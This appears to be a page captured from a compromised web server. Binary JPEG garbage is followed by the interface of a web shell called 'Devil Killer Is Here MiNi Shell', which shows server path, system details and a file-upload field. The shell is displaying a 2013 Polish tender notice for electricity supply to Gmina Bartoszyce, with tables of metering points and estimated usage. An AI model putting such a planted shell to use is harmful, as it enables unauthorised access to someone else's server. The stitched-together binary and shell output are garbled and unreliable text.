JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20130830/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20130830/352138-N-2013.html

<p class="kh_header"><b>Bartoszyce: Dostawa energii elektrycznej dla potrzeb Gminy Bartoszyce oraz jednostek organizacyjnych Gminy Bartoszyce</b><br>
<b>Numer ogłoszenia: 352138 - 2013; data zamieszczenia: 30.08.2013</b><br>
OGŁOSZENIE O ZAMÓWIENIU - dostawy<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Urząd Gminy Bartoszyce , Plac Zwycięstwa 2, 11-200 Bartoszyce, woj. warmińsko-mazurskie, tel. 89 762 77 00, faks 89 762 77 24.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> http://bip.warmia.mazury.pl/bartoszyce_gmina_wiejska/</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Administracja samorządowa.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Dostawa energii elektrycznej dla potrzeb Gminy Bartoszyce oraz jednostek organizacyjnych Gminy Bartoszyce.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> dostawy.</p>
<p><b>II.1.4) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Załącznik nr 1 do SIWZ
SZCZEGÓŁOWY OPIS PRZEDMIOTU ZAMÓWIENIA
Przedmiotem zamówienia jest Dostawa Energii Elektrycznej dla potrzeb Gminy Bartoszyce oraz jednostek organizacyjnych Gminy Bartoszyce.
OBIEKTY ZAMAWIAJĄCEGO KLASYFIKOWANE WEDŁUG CHARAKTERU ODBIORU:

1.	Oświetlenie uliczne - taryfa C11
L.P.	Punkt poboru	Ulica	Nr	Miejscowość	Kod	Poczta	Numer PPE	Numer licznika	Taryfa zakupu	Taryfa dla dystrybucji	Moc umowna [kW]	Szacowane
zużycie energii [kWh] 01.11.2013 - 31.12.2014	Płatnik
1.	Urząd Gminy	-		Łojdy	11-200	Bartoszyce	PL0037620108418078	74567059	C11	C11	1	4755	Urząd Gminy Bartoszyce
2.	Urząd Gminy	-		Piersele	11-200	Bartoszyce	PL0037620108419593	00163486	C11	C11	2	3844	Urząd Gminy Bartoszyce
3.	Urząd Gminy	-		Łapkiejmy	11-200	Bartoszyce	PL0037620108420001	00163676	C11	C11	2	1646	Urząd Gminy Bartoszyce
4.	Urząd Gminy	-		Zawiersze	11-200	Bartoszyce	PL0037620108422112	00175124	C11	C11	3	2884	Urząd Gminy Bartoszyce
5.	Urząd Gminy	-		Lusiny	11-200	Bartoszyce	PL0037620108423637	28174714	C11	C11	1	2264	Urząd Gminy Bartoszyce
6.	Urząd Gminy	-		Witki	11-200	Bartoszyce	PL0037620108423839	00125303	C11	C11	2	4513	Urząd Gminy Bartoszyce
7.	Urząd Gminy	-		Gile	11-200	Bartoszyce	PL0037620108424041	00163741	C11	C11	2	2137	Urząd Gminy Bartoszyce
8.	Urząd Gminy	-		Kinkajmy	11-200	Bartoszyce	PL0037620108424344	24374503	C11	C11	2	8697	Urząd Gminy Bartoszyce
9.	Urząd Gminy	-		Sporwiny	11-200	Bartoszyce	PL0037620108425051	60378941	C11	C11	3	3393	Urząd Gminy Bartoszyce
10.	Urząd Gminy	-		Bieliny	11-200	Bartoszyce	PL0037620108425556	28368724	C11	C11	2	1105	Urząd Gminy Bartoszyce
11.	Urząd Gminy	-		Wardomy	11-200	Bartoszyce	PL0037620108426869	19559445	C11	C11	2	1591	Urząd Gminy Bartoszyce
12.	Urząd Gminy	-		Gruda	11-200	Bartoszyce	PL0037620108426970	25801362	C11	C11	2	2232	Urząd Gminy Bartoszyce
13.	Urząd Gminy	-	35	Taplikajmy	11-200	Bartoszyce	PL0037620108535589	00155902	C11	C11	3	3570	Urząd Gminy Bartoszyce
14.	Urząd Gminy	-	37	Merguny	11-200	Bartoszyce	PL0037620108535791	00155903	C11	C11	3	1825	Urząd Gminy Bartoszyce
15.	Urząd Gminy	-	38	Wargielity	11-200	Bartoszyce	PL0037620108535993	28600030	C11	C11	2	2841	Urząd Gminy Bartoszyce
16.	Urząd Gminy	-	39	Szczeciny	11-200	Bartoszyce	PL0037620108536094	19888779	C11	C11	2	1575	Urząd Gminy Bartoszyce
17.	Urząd Gminy	-	48	Wojtkowo	11-200	Bartoszyce	PL0037620108536300	00152745	C11	C11	4	4925	Urząd Gminy Bartoszyce
18.	Urząd Gminy	-	45	Wajsnory	11-200	Bartoszyce	PL0037620108536401	00150502	C11	C11	2	6584	Urząd Gminy Bartoszyce
19.	Urząd Gminy	-	46	Burkarty	11-200	Bartoszyce	PL0037620108536502	24373643	C11	C11	2	2620	Urząd Gminy Bartoszyce
20.	Urząd Gminy	-		Kiersity	11-200	Bartoszyce	PL0037620108537512	13115987	C11	C11	2	2923	Urząd Gminy Bartoszyce
21.	Urząd Gminy	-		Sortławki	11-200	Bartoszyce	PL0037620108537815	00150799	C11	C11	2	2207	Urząd Gminy Bartoszyce
22.	Urząd Gminy	-	6	Borki	11-200	Bartoszyce	PL0037620108538017	00149594	C11	C11	2	1843	Urząd Gminy Bartoszyce
23.	Urząd Gminy	-	33	Barciszewo	11-200	Bartoszyce	PL0037620108538926	00155908	C11	C11	2	3045	Urząd Gminy Bartoszyce
24.	Urząd Gminy	-		Wyręba	11-200	Bartoszyce	PL0037620108540643	28079894	C11	C11	1	2094	Urząd Gminy Bartoszyce
25.	Urząd Gminy	-		Parkoszewo	11-200	Bartoszyce	PL0037620108413735	28602080	C11	C11	2	4191	Urząd Gminy Bartoszyce
26.	Urząd Gminy	-		Kiertyny Małe	11-200	Bartoszyce	PL0037620108414038	00155904	C11	C11	2	2821	Urząd Gminy Bartoszyce
27.	Urząd Gminy	-	32/16	Markiny	11-200	Bartoszyce	PL0037620134070538	00170607	C11	C11	0,50	2171	Urząd Gminy Bartoszyce
28.	Urząd Gminy	-		Parkoszewo	11-200	Bartoszyce	PL0037620134484608	00109927	C11	C11	2	1331	Urząd Gminy Bartoszyce
29.	Urząd Gminy	-		Solno	11-200	Bartoszyce	PL0037620108415250	70408102	C11	C11	2	3700	Urząd Gminy Bartoszyce
30.	Urząd Gminy	-		Lejdy	11-200	Bartoszyce	PL0037620108415553	69520444	C11	C11	3	3517	Urząd Gminy Bartoszyce
31.	Urząd Gminy	-		Głomno	11-200	Bartoszyce	PL0037620108415654	75498004	C11	C11	2	6195	Urząd Gminy Bartoszyce
32.	Urząd Gminy	-		Kromarki	11-200	Bartoszyce	PL0037620108415856	28109281	C11	C11	2	7496	Urząd Gminy Bartoszyce
33.	Urząd Gminy	-		Posłuszne	11-200	Bartoszyce	PL0037620108415947	21333724	C11	C11	2	3400	Urząd Gminy Bartoszyce
34.	Urząd Gminy	-		Bąsze	11-200	Bartoszyce	PL0037620108416058	21315735	C11	C11	2	4309	Urząd Gminy Bartoszyce
35.	Urząd Gminy	-		Kiertyny Wielkie III	11-200	Bartoszyce	PL0037620108416563	22076641	C11	C11	2	2418	Urząd Gminy Bartoszyce
36.	Urząd Gminy	-	30	Wojciechy	11-200	Bartoszyce	PL0037620108541350	03998631	C11	C11	20	17994	Urząd Gminy Bartoszyce
37.	Urząd Gminy	-		Rodnowo	11-200	Bartoszyce	PL0037620108537310	70347367	C11	C11	10	0	Urząd Gminy Bartoszyce
38.	Urząd Gminy	-		Łabędnik	11-200	Bartoszyce	PL0037620108430509	00022745	C11	C11	10	13400	Urząd Gminy Bartoszyce
39.	Urząd Gminy	-		Łoskajmy	11-200	Bartoszyce	PL0037620135578684	60834074	C11	C11	1,50	3860	Urząd Gminy Bartoszyce
40.	Oświetlenie drogowe	-	dz./29/2,2	Ceglarki	11-200	Bartoszyce	PL0037620134385281	00129162	C11	C11	0,50	2320	Urząd Gminy Bartoszyce
41.	Urząd Gminy	-	dz.59-12	Sokolica	11-200	Bartoszyce	PL0037620135391152	60557061	C11	C11	1,50	2184	Urząd Gminy Bartoszyce
42.	Oświetlenie drogowe	-		Falczewo	11-200	Bartoszyce	PL0037620135078227	60401582	C11	C11	1,50	3373	Urząd Gminy Bartoszyce
43.	Oświetlenie drogowe	-		Wiatrak	11-200	Bartoszyce	PL0037620135072466	60398084	C11	C11	1,50	5461	Urząd Gminy Bartoszyce
44.	Urząd Gminy	-	30	Galiny	11-200	Bartoszyce	PL0037620108208823	12461976	C11	C11	15	12152	Urząd Gminy Bartoszyce
45.	Gmina Bartoszyce	-		Trutnowo	11-230	Bisztynek	PL0037610104634185	14161362	C11	C11	10	111	Urząd Gminy Bartoszyce
46.	Urząd Gminy	-		Nalikajmy	11-200	Bartoszyce	PL0037620108237721	14160334	C11	C11	10	881	Urząd Gminy Bartoszyce
47.	Urząd Gminy	-		Szylina Wielka	11-200	Bartoszyce	PL0037620108187807	29101370	C11	C11	2	5248	Urząd Gminy Bartoszyce
48.	Urząd Gminy	-		Leginy	11-200	Bartoszyce	PL0037620108187908	29731454	C11	C11	3	4812	Urząd Gminy Bartoszyce
49.	Urząd Gminy	-		Żydowo	11-200	Bartoszyce	PL0037620108188110	24301724	C11	C11	2	4085	Urząd Gminy Bartoszyce
50.	Urząd Gminy	-		Skitno	11-200	Bartoszyce	PL0037620108188615	25191394	C11	C11	2	2624	Urząd Gminy Bartoszyce
51.	Urząd Gminy	-		Nowe Witki	11-200	Bartoszyce	PL0037620108189322	19555841	C11	C11	2	1715	Urząd Gminy Bartoszyce
52.	Urząd Gminy	-		Krawczyki	11-200	Bartoszyce	PL0037620108206601	13443196	C11	C11	2	7936	Urząd Gminy Bartoszyce
53.	Urząd Gminy	-		Galiny	11-200	Bartoszyce	PL0037620108207409	00127654	C11	C11	3	9811	Urząd Gminy Bartoszyce
54.	Urząd Gminy	-		Galiny	11-200	Bartoszyce	PL0037620108207510	60751167	C11	C11	3	3074	Urząd Gminy Bartoszyce
55.	Urząd Gminy	-		Borki Sędrowskie	11-200	Bartoszyce	PL0037620108207611	9077653	C11	C11	2	752	Urząd Gminy Bartoszyce
56.	Urząd Gminy	-		Kosy	11-200	Bartoszyce	PL0037620108208924	16472529	C11	C11	2	6661	Urząd Gminy Bartoszyce
57.	Urząd Gminy	-		Gromki	11-200	Bartoszyce	PL0037620108209025	29754477	C11	C11	2	2950	Urząd Gminy Bartoszyce
58.	Urząd Gminy	-		Węgoryty	11-200	Bartoszyce	PL0037620108209126	60396119	C11	C11	3	4334	Urząd Gminy Bartoszyce
59.	Urząd Gminy	-		Dębiany	11-200	Bartoszyce	PL0037620108209833	60397583	C11	C11	2	3107	Urząd Gminy Bartoszyce
60.	Urząd Gminy	-		Ardapy	11-200	Bartoszyce	PL0037620108235802	00117439	C11	C11	3	3587	Urząd Gminy Bartoszyce
61.	Urząd Gminy	-		Plęsy	11-200	Bartoszyce	PL0037620108236812	27235100	C11	C11	3	1900	Urząd Gminy Bartoszyce
62.	Urząd Gminy	-		Osieka	11-200	Bartoszyce	PL0037620108237216	60557324	C11	C11	3	2746	Urząd Gminy Bartoszyce
63.	Urząd Gminy	-		Dąbrowa	11-200	Bartoszyce	PL0037620108237418	28368407	C11	C11	3	10421	Urząd Gminy Bartoszyce
64.	Urząd Gminy	-		Nalikajmy	11-200	Bartoszyce	PL0037620108237620	29754430	C11	C11	2	2913	Urząd Gminy Bartoszyce
65.	Urząd Gminy	-		Dąbrowa Kolonia	11-200	Bartoszyce	PL0037620108238125	60533787	C11	C11	2	1579	Urząd Gminy Bartoszyce
66.	Urząd Gminy	-	2	Dąbrowa Kolonia	11-200	Bartoszyce	PL0037620108238226	71987998	C11	C11	2	1013	Urząd Gminy Bartoszyce
67.	Oświetlenie drogowe	-	2	Spurgle	11-200	Bartoszyce	PL0037620108333408	22613458	C11	C11	2	2614	Urząd Gminy Bartoszyce
68.	Urząd Gminy	-		Szwaruny	11-200	Bartoszyce	PL0037620108207005	28602393	C11	C11	2	2653	Urząd Gminy Bartoszyce
69.	Urząd Gminy	-		Wipławki	11-200	Bartoszyce	PL0037620108187504	24979368	C11	C11	2	2976	Urząd Gminy Bartoszyce
70.	Urząd Gminy	-		Szylina Mała	11-200	Bartoszyce	PL0037620108187706	60552418	C11	C11	2	1585	Urząd Gminy Bartoszyce
71.	Oświetlenie drogowe	-	196/1	Króle	11-214	Galiny	PL0037620134385180	00127746	C11	C11	0,5	1479	Urząd Gminy Bartoszyce
72.	Urząd Gminy	-		Plęsy	11-200	Bartoszyce	PL0037620035670708	80031817	C11	C11	2	3466	Urząd Gminy Bartoszyce
73.	Gmina Bartoszyce	-		Molwity	11-200	Bartoszyce	PL0037620135223020	brak	C11	C11	0,5	540	Urząd Gminy Bartoszyce
74.	Gmina Bartoszyce	-		Molwity	11-200	Bartoszyce	PL0037620135223121	brak	C11	C11	1	2104	Urząd Gminy Bartoszyce
75.	Gmina Bartoszyce	-		Molwity	11-200	Bartoszyce	PL0037620135223323	brak	C11	C11	1	1033	Urząd Gminy Bartoszyce
76.	Urząd Gminy			Bezledy	11-200	Bartoszyce	PL0037620108418886	26723291	C11	C12B	4	7639	Urząd Gminy Bartoszyce
77.	Urząd Gminy			Kinkajmy	11-200	Bartoszyce	PL0037620108424445	24753683	C11	C12B	2	5566	Urząd Gminy Bartoszyce
78.	Urząd Gminy			Łabędnik	11-200	Bartoszyce	PL0037620108424546	60278500	C11	C12B	4	8035	Urząd Gminy Bartoszyce
79.	Urząd Gminy			Sokolnica	11-200	Bartoszyce	PL0037620108425253	24753752	C11	C12B	4	7784	Urząd Gminy Bartoszyce
80.	Urząd Gminy			Bajdyty	11-200	Bartoszyce	PL0037620108425657	11877476	C11	C12B	2	5341	Urząd Gminy Bartoszyce
81.	Urząd Gminy			Sędławki	11-200	Bartoszyce	PL0037620108426465	11693167	C11	C12B	3	3000	Urząd Gminy Bartoszyce
82.	Urząd Gminy			Maszewy	11-200	Bartoszyce	PL0037620108426768	27730611	C11	C12B	3	5667	Urząd Gminy Bartoszyce
83.	Urząd Gminy			Łabędnik	11-200	Bartoszyce	PL0037620108428788	60399407	C11	C12B	4	11601	Urząd Gminy Bartoszyce
84.	Urząd Gminy			Rodnowo	11-200	Bartoszyce	PL0037620108537108	26607384	C11	C12B	2	10946	Urząd Gminy Bartoszyce
85.	Urząd Gminy		10	Tolko	11-200	Bartoszyce	PL0037620108538219	24753757	C11	C12B	4	23425	Urząd Gminy Bartoszyce
86.	Urząd Gminy		17	Wojciechy	11-200	Bartoszyce	PL0037620108538421	00178279	C11	C12B	5	34739	Urząd Gminy Bartoszyce
87.	Urząd Gminy			Kiertyny Wielkie	11-200	Bartoszyce	PL0037620108413836	00110581	C11	C12B	3	4675	Urząd Gminy Bartoszyce
88.	Urząd Gminy		24	Bezledy	11-200	Bartoszyce	PL0037620108414543	00149581	C11	C12B	4	2761	Urząd Gminy Bartoszyce
89.	Urząd Gminy			Bezledy	11-200	Bartoszyce	PL0037620108414846	13245353	C11	C12B	4	5596	Urząd Gminy Bartoszyce
90.	Urząd Gminy			Bezledy	11-200	Bartoszyce	PL0037620108417068	10069964	C11	C12B	40	95156	Urząd Gminy Bartoszyce
91.	Urząd Gminy			Bezledy	11-200	Bartoszyce	PL0037620108417270	11800241	C11	C12B	12	36780	Urząd Gminy Bartoszyce
92.	Gmina Bartoszyce			Trutnowo	11-230	Bisztynek	PL0037610104634286	60401090	C11	C12B	2	5482	Urząd Gminy Bartoszyce
93.	Urząd Gminy			Wirwilty	11-200	Bartoszyce	PL0037620108189120	60421606	C11	C12B	5	18050	Urząd Gminy Bartoszyce
94.	Urząd Gminy			Minty	11-200	Bartoszyce	PL0037620108207207	24748113	C11	C12B	3	8192	Urząd Gminy Bartoszyce
95.	Urząd Gminy			Galiny	11-200	Bartoszyce	PL0037620108208015	24753789	C11	C12B	4	20969	Urząd Gminy Bartoszyce
96.	Urząd Gminy			Galiny	11-200	Bartoszyce	PL0037620108208520	29602414	C11	C12B	4	18417	Urząd Gminy Bartoszyce
97.	Urząd Gminy			Minty	11-200	Bartoszyce	PL0037620108209429	13215330	C11	C12B	3	4902	Urząd Gminy Bartoszyce
98.	Urząd Gminy			Ciemna Wola	11-200	Bartoszyce	PL0037620108210136	28373198	C11	C12B	1	7314	Urząd Gminy Bartoszyce
99.	Urząd Gminy			Spytajny	11-200	Bartoszyce	PL0037620108235394	24422344	C11	C12B	3	17342	Urząd Gminy Bartoszyce
100.	Urząd Gminy			Połęcze	11-200	Bartoszyce	PL0037620108236610	26400256	C11	C12B	5	13583	Urząd Gminy Bartoszyce
101.	Urząd Gminy			Skitno	11-200	Bartoszyce	PL0037620108188413	24748081	C11	C12B	2	5759	Urząd Gminy Bartoszyce
102.	Urząd Gminy			Osieka	11-200	Bartoszyce	PL0037620108237014	29427031	C11	C12B	2	1516	Urząd Gminy Bartoszyce
103.	Urząd Gminy			Osieka	11-200	Bartoszyce	PL0037620108238630	11800255	C11	C12B	10	22614	Urząd Gminy Bartoszyce

Szacowane zużycie energii [kWh] na cele oświetlenia ulicznego w taryfie C11 w okresie 01.11.2013r. - 31.12.2014 r. wynosi:

- strefa całodobowa: 690.967 kWh 	
2.	Obiekty administracji publicznej - taryfa B21, C11, G11 
L.P.	Punkt poboru	Ulica	Nr	Miejscowość	Kod	Poczta	Numer PPE	Numer licznika	Taryfa zakupu	Taryfa dla dystrybucji	Moc umowna [kW]	Szacowane
zużycie energii [kWh] 01.11.2013 - 31.12.2014	Płatnik
1.	Urząd Gminy	Zwycięstwa	2	Bartoszyce	11-200	Bartoszyce	PL0037620108448289	71253264	C11	C11	25	64006	Urząd Gminy Bartoszyce
2.	Przedszkole	Bema	20	Bartoszyce	11-200	Bartoszyce	PL0037620108433842	00027567	C11	C11	25	2884	Urząd Gminy Bartoszyce
3.	Gimnazjum im. Mikołaja Kopernika	-		Kinkajmy	11-200	Bartoszyce	PL0037620033528220	96637784	C11	C11	25	18259	Urząd Gminy Bartoszyce
4.	Remiza OSP	-	58B	Bezledy	11-200	Bartoszyce	PL0037620108420809	00038973	C11	C11	20	1585	Urząd Gminy Bartoszyce
5.	Bloki	-		Galiny	11-200	Bartoszyce	PL0037620108209934	20807100	C11	C11	2	2675	Urząd Gminy Bartoszyce
6.	Szkoła Podstawowa im. Janusza Korczaka	-		Krawczyki	11-200	Bartoszyce	PL0037620108206702	13764428	C11	C11	20	27783	Szkoła Podstawowa im. Janusza Korczaka w Krawczykach
7.	Szkoła Podstawowa w Galinach	-	69	Galiny	11-200	Bartoszyce	PL0037620108208217	71255704	C11	C11	25	18013	Szkoła Podstawowa w Galinach
8.	Szkoła Podstawowa w Galinach	-	69A	Galiny	11-200	Bartoszyce	PL0037620108208116	00082344	C11	C11	15	8794	Szkoła Podstawowa w Galinach
9.	Szkoła Podstawowa im. Jana Henryka Dąbrowskiego	-	2	Żydowo	11-200	Bartoszyce	PL0037620108188211	14160317	C11	C11	25	23095	Szkoła Podstawowa im. Jana Henryka Dąbrowskiego w Żydowie
10.	Szkoła Podstawowa im. Jana Pawła II	-	10	Sokolica	11-200	Bartoszyce	PL0037620108425354	14121473	C11	C11	40	32050	Szkoła Podstawowa im. Jana Pawła II w Sokolicy
11.	Szkoła Podstawowa im. Jana Brzechwy	-	66	Wojciechy	11-200	Bartoszyce	PL0037620108538724	13665150	C11	C11	20	22903	Szkoła Podstawowa im. Jana Brzechwy w Wojciechach
12.	Szkoła Podstawowa im. Ks. Jerzego Popiełuszki	-	23	Rodnowo	11-200	Bartoszyce	PL0037620108536906	70016837	C11	C11	15	19992	Szkoła Podstawowa im. Ks. Jerzego Popiełuszki w Rodnowie
13.	Szkoła Podstawowa im. Ks. Jerzego Popiełuszki	-		Rodnowo	11-200	Bartoszyce	PL0037620108536805	24692546	C11	C11	3	4659	Szkoła Podstawowa im. Ks. Jerzego Popiełuszki w Rodnowie
14.	Szkoła Podstawowa im. Bartoszyckiej Bryg. Zmech.	-		Bezledy	11-200	Bartoszyce	PL0037620108422324	13664886	C11	C11	31	13893	Szkoła Podstawowa im. Bartoszyckiej Bryg. Zmech. w Bezledach
15.	Gimnazjum im. Straży Granicznej	-	12	Bezledy	11-200	Bartoszyce	PL0037620108414442	12360839	C11	C11	40	65131	Gimnazjum im. Straży Granicznej w Bezledach
16.	Gimnazjum im. Mikołaja Kopernika	-	18A	Kinkajmy	11-200	Bartoszyce	PL0037620108424142	70094162	C11	C11	15	2684	Zakład Budżetowy Gospodarki Komunalnej i Mieszkaniowej Gm. Bartoszyce
17.	Kotłownia	-	29A	Galiny	11-200	Bartoszyce	PL0037620108212257	00026918	C11	C11	15	11495	Zakład Budżetowy Gospodarki Komunalnej i Mieszkaniowej Gm. Bartoszyce
18.	Apteka	-	17	Galiny	11-200	Bartoszyce	PL0037620108212560	00026577	C11	C11	15	6417	Zakład Budżetowy Gospodarki Komunalnej i Mieszkaniowej Gm. Bartoszyce
19.	Usługi medyczne	-		Łabędnik	11-200	Bartoszyce	PL0037620108430408	10369621	C11	C11	5	5958	Zakład Budżetowy Gospodarki Komunalnej i Mieszkaniowej Gm. Bartoszyce
20.	Apteka	-		Bezledy	11-200	Bartoszyce	PL0037620108422425	71989262	C11	C11	5	3190	Zakład Budżetowy Gospodarki Komunalnej i Mieszkaniowej Gm. Bartoszyce
